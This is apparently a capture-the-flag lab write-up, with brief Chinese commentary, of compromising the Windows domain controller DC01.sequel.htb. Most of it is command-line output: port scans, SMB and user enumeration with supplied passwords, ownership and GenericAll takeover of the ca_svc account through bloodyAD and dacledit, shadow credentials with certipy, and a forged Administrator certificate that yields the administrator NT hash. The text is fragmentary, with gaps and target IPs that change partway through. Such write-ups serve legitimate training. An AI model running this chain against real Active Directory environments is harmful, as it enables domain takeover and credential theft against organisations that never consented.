┌──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -p- 10.129.186.96 -Pn Nmap scan report for 10.129.186.96 Host is up (0.13s latency). Not shown:65510 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49668/tcp open unknown 49689/tcp open unknown 49690/tcp open unknown 49695/tcp open unknown 49712/tcp open unknown 49728/tcp open unknown 49738/tcp open unknown
Nmap done:1 IP address (1 host up) scanned in760.68 seconds
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -p53,88,135,139,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49668,49689,49690,49712,49728,49738 -sV -sC -A 10.129.186.96 -Pn Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-2100:43-0500 Stats:0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 43.48% done; ETC:00:43 (0:00:10 remaining) Stats:0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 60.87% done; ETC:00:44 (0:00:28 remaining) Stats:0:01:19 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 98.48% done; ETC:00:44 (0:00:00 remaining) Stats:0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.94% done; ETC:00:44 (0:00:00 remaining) Nmap scan report for 10.129.186.96 Host is up (0.16s latency).
PORT STATE SERVICE VERSION 53/tcp open tcpwrapped 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:2026-01-2105:43:36Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) | ssl-cert:Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before:2025-06-26T11:46:45 |_Not valid after:2124-06-08T17:00:40 |_ssl-date:2026-01-21T05:45:19+00:00; +6s from scanner time. 1433/tcp open ms-sql-s Microsoft SQL Server 201915.00.2000.00; RTM |_ssl-date:2026-01-21T05:45:19+00:00; +6s from scanner time. | ms-sql-ntlm-info: | 10.129.186.96:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version:10.0.17763 | ms-sql-info: | 10.129.186.96:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number:15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied:false |_ TCP port:1433 | ssl-cert:Subject: commonName=SSL_Self_Signed_Fallback | Not valid before:2026-01-21T05:28:38 |_Not valid after:2056-01-21T05:28:38 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |_ssl-date:2026-01-21T05:45:19+00:00; +6s from scanner time. | ssl-cert:Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before:2025-06-26T11:46:45 |_Not valid after:2124-06-08T17:00:40 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) | ssl-cert:Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before:2025-06-26T11:46:45 |_Not valid after:2124-06-08T17:00:40 |_ssl-date:2026-01-21T05:45:19+00:00; +6s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49690/tcp open msrpc Microsoft Windows RPC 49712/tcp open msrpc Microsoft Windows RPC 49728/tcp open msrpc Microsoft Windows RPC 49738/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 101903-21H1 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance:2 hops Service Info:Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1165.93 ms 10.10.14.1 2170.71 ms 10.129.186.96
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in112.70 seconds
┌──(root㉿kaada)-[/home/kali/Desktop] └─# smbclient \\\\10.129.186.96\\Users -U rose Password for [WORKGROUP\rose]: Try "help" to get a list of possible commands. smb: \> dir . DR 0 Sun Jun 9 09:42:11 2024 .. DR 0 Sun Jun 9 09:42:11 2024 Default DHR 0 Sun Jun 9 07:17:29 2024 desktop.ini AHS 174 Sat Sep 15 03:16:48 2018
6367231 blocks of size 4096. 924175 blocks available smb: \> get desktop.ini getting file \desktop.ini of size 174 as desktop.ini (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec) smb: \> cd Default\ smb: \Default\> dir . DHR 0 Sun Jun 9 07:17:29 2024 .. DHR 0 Sun Jun 9 07:17:29 2024 AppData DH 0 Sat Sep 15 03:19:00 2018 Desktop DR 0 Sat Sep 15 03:19:00 2018 Documents DR 0 Sat Jun 8 21:29:57 2024 Downloads DR 0 Sat Sep 15 03:19:00 2018 Favorites DR 0 Sat Sep 15 03:19:00 2018 Links DR 0 Sat Sep 15 03:19:00 2018 Music DR 0 Sat Sep 15 03:19:00 2018 NTUSER.DAT A 262144 Sat Jun 8 21:29:57 2024 NTUSER.DAT.LOG1 AHS 57344 Sat Sep 15 02:09:26 2018 NTUSER.DAT.LOG2 AHS 0 Sat Sep 15 02:09:26 2018 NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf AHS 65536 Sat Jun 8 21:29:57 2024 NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms AHS 524288 Sat Jun 8 21:29:57 2024 NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms AHS 524288 Sat Jun 8 21:29:57 2024 Pictures DR 0 Sat Sep 15 03:19:00 2018 Saved Games D 0 Sat Sep 15 03:19:00 2018 Videos DR 0 Sat Sep 15 03:19:00 2018
6367231 blocks of size 4096. 924175 blocks available smb: \Default\>
似乎没有什么值得看的文件,列出用户试试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc smb 10.129.186.96 -u 'rose' -p 'KxEPkKe6R8su' --users ┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc smb 10.129.186.96 -u 'rose' -p 'KxEPkKe6R8su' --users SMB 10.129.186.96445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.186.96445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su SMB 10.129.186.96445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.186.96445 DC01 Administrator 2024-06-0816:32:20 0 Built-in account for administering the computer/domain SMB 10.129.186.96445 DC01 Guest 2024-12-2514:44:53 0 Built-in account for guest access to the computer/domain SMB 10.129.186.96445 DC01 krbtgt 2024-06-0816:40:23 0 Key Distribution Center Service Account SMB 10.129.186.96445 DC01 michael 2024-06-0816:47:37 0 SMB 10.129.186.96445 DC01 ryan 2024-06-0816:55:45 0 SMB 10.129.186.96445 DC01 oscar 2024-06-0816:56:36 0 SMB 10.129.186.96445 DC01 sql_svc 2024-06-0907:58:42 0 SMB 10.129.186.96445 DC01 rose 2024-12-2514:44:54 0 SMB 10.129.186.96445 DC01 ca_svc 2026-01-2106:02:29 0 SMB 10.129.186.96445 DC01 [*] Enumerated 9 local users: SEQUEL
1 2 3 4 5 6
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc winrm 10.129.186.96 -u 'rose' -p 'KxEPkKe6R8su' WINRM 10.129.186.965985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) /usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0. arc4 = algorithms.ARC4(self._key) WINRM 10.129.186.965985 DC01 [-] sequel.htb\rose:KxEPkKe6R8su
┌──(root㉿kaada)-[/home/kali/Desktop] └─# smbclient \\\\10.129.186.96\\Accounting\ Department -U rose Password for [WORKGROUP\rose]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Sun Jun 9 06:52:21 2024 .. D 0 Sun Jun 9 06:52:21 2024 accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024 accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024
6367231 blocks of size 4096. 926603 blocks available smb: \>
[+] Servers: HTTP server [OFF] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON]
[+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF]
[+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.14] Responder IPv6 [dead:beef:2::100c] Challenge set [random] Don't Respond To Names ['ISATAP']
[+] Current Session Variables: Responder Machine Name [WIN-ZAVFQCGNLOR] Responder Domain Name [3TX9.LOCAL] Responder DCE-RPC Port [49628]
┌──(root㉿kaada)-[/home/kali/Desktop] └─# # 语法:bloodyAD --host <DC_IP> -d <域名> -u ryan -p <密码> set owner <目标用户> <新所有者> bloodyAD --host 10.129.186.96 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'set owner ca_svc ryan [+] Old owner S-1-5-21-548670397-972687484-3496335370-512is now replaced by ryan on ca_svc
然后修改ACL,给自己GenericAll权限。
1 2 3
┌──(root㉿kaada)-[/home/kali/Desktop] └─# bloodyAD --host 10.129.186.96 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'add genericAll ca_svc ryan [+] ryan has now GenericAll on ca_svc
或者这样也可以
1 2 3 4 5 6
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc''sequel.htb'/"ryan":"WqSZAF6CysDQbGb3" Impacket v0.14.0.dev0 - CopyrightFortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20260121-024829.bak [*] DACL modified successfully!
┌──(root㉿kaada)-[/home/kali/Desktop] └─# certipy shadow auto -u ryan@sequel.htb -p WqSZAF6CysDQbGb3 -account 'ca_svc' -dc-ip 10.129.186.117 Certipy v4.8.2 - by OliverLyak (ly4k)
[*] Targeting user 'ca_svc' [*] Generating certificate [*] Certificate generated [*] GeneratingKeyCredential [*] KeyCredential generated with DeviceID'ac8531c5-99b8-8310-0b81-bb01fd9ff206' [*] AddingKeyCredential with device ID'ac8531c5-99b8-8310-0b81-bb01fd9ff206' to the KeyCredentials for 'ca_svc' [*] Successfully added KeyCredential with device ID'ac8531c5-99b8-8310-0b81-bb01fd9ff206' to the KeyCredentials for 'ca_svc' [*] Authenticating as 'ca_svc' with the certificate [*] Using principal: ca_svc@sequel.htb [*] Trying to get TGT... [*] GotTGT [*] Saved credential cache to 'ca_svc.ccache' [*] Trying to retrieve NT hash for 'ca_svc' [*] Restoring the old KeyCredentials for 'ca_svc' [*] Successfully restored the old KeyCredentials for 'ca_svc' [*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
[核心原理深度剖析] WHfB 与 msDS-KeyCredentialLink
Shadow Credentials 技术:利用了 Windows Hello for Business (WHfB) 的认证机制。 msDS-KeyCredentialLink:这是 AD 用户的一个属性,用于存储认证公钥。 攻击流程:
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 11 [*] Got certificate with multiple identifications UPN: 'Administrator@sequel.htb' DNS Host Name: '10.129.186.117' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_10.pfx' ┌─[root@htb-4w9mye2vqf]─[/home/skyarrow/Desktop]
通过证书获取到管理员哈希
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌─[root@htb-4w9mye2vqf]─[/home/skyarrow/Desktop] └──╼ #certipy auth -pfx administrator_10.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate [*] Please select one: [0] UPN: 'Administrator@sequel.htb' [1] DNS Host Name: '10.129.186.117' > 0 [*] Using principal: administrator@sequel.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for'administrator' [*] Got hash for'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff